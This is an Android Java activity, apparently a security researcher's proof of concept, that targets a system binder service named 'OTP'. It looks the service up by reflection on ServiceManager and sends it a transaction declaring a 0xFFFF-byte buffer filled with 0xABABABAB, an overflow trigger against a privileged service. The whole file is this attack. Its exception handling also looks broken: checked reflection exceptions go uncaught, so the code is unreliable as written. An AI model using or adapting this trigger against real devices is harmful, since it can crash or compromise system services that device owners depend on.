package com.example.laginimaineb.otp;
|
|
import android.os.IBinder;
|
import android.os.Parcel;
|
import android.os.RemoteException;
|
import android.support.v7.app.AppCompatActivity;
|
import android.os.Bundle;
|
import android.util.Log;
|
|
public class MainActivity extends AppCompatActivity {
|
|
/**
|
* The logtag used.
|
*/
|
private static final String LOGTAG = "OTP_TEST";
|
|
/**
|
* The name of the OTP binder service.
|
*/
|
private static final String INTERFACE_DESCRIPTOR = "OTP";
|
|
@Override
|
protected void onCreate(Bundle savedInstanceState) {
|
super.onCreate(savedInstanceState);
|
setContentView(R.layout.activity_main);
|
|
try {
|
//Getting the binder
|
Class smClass = Class.forName("android.os.ServiceManager");
|
IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);
|
|
//Creating a connection
|
Parcel parcel = Parcel.obtain();
|
Parcel reply = Parcel.obtain();
|
parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR);
|
int length = 0xFFFF;
|
parcel.writeInt(length); //Buffer length
|
for (int i = 0; i < length/4 + 1; i++)
|
parcel.writeInt(0xABABABAB);
|
binder.transact(2, parcel, reply, 0);
|
reply.recycle();
|
parcel.recycle();
|
|
} catch (RemoteException ex) {
|
Log.e(LOGTAG, "Failed to communicate with remote binder", ex);
|
}
|
}
|
}
|
|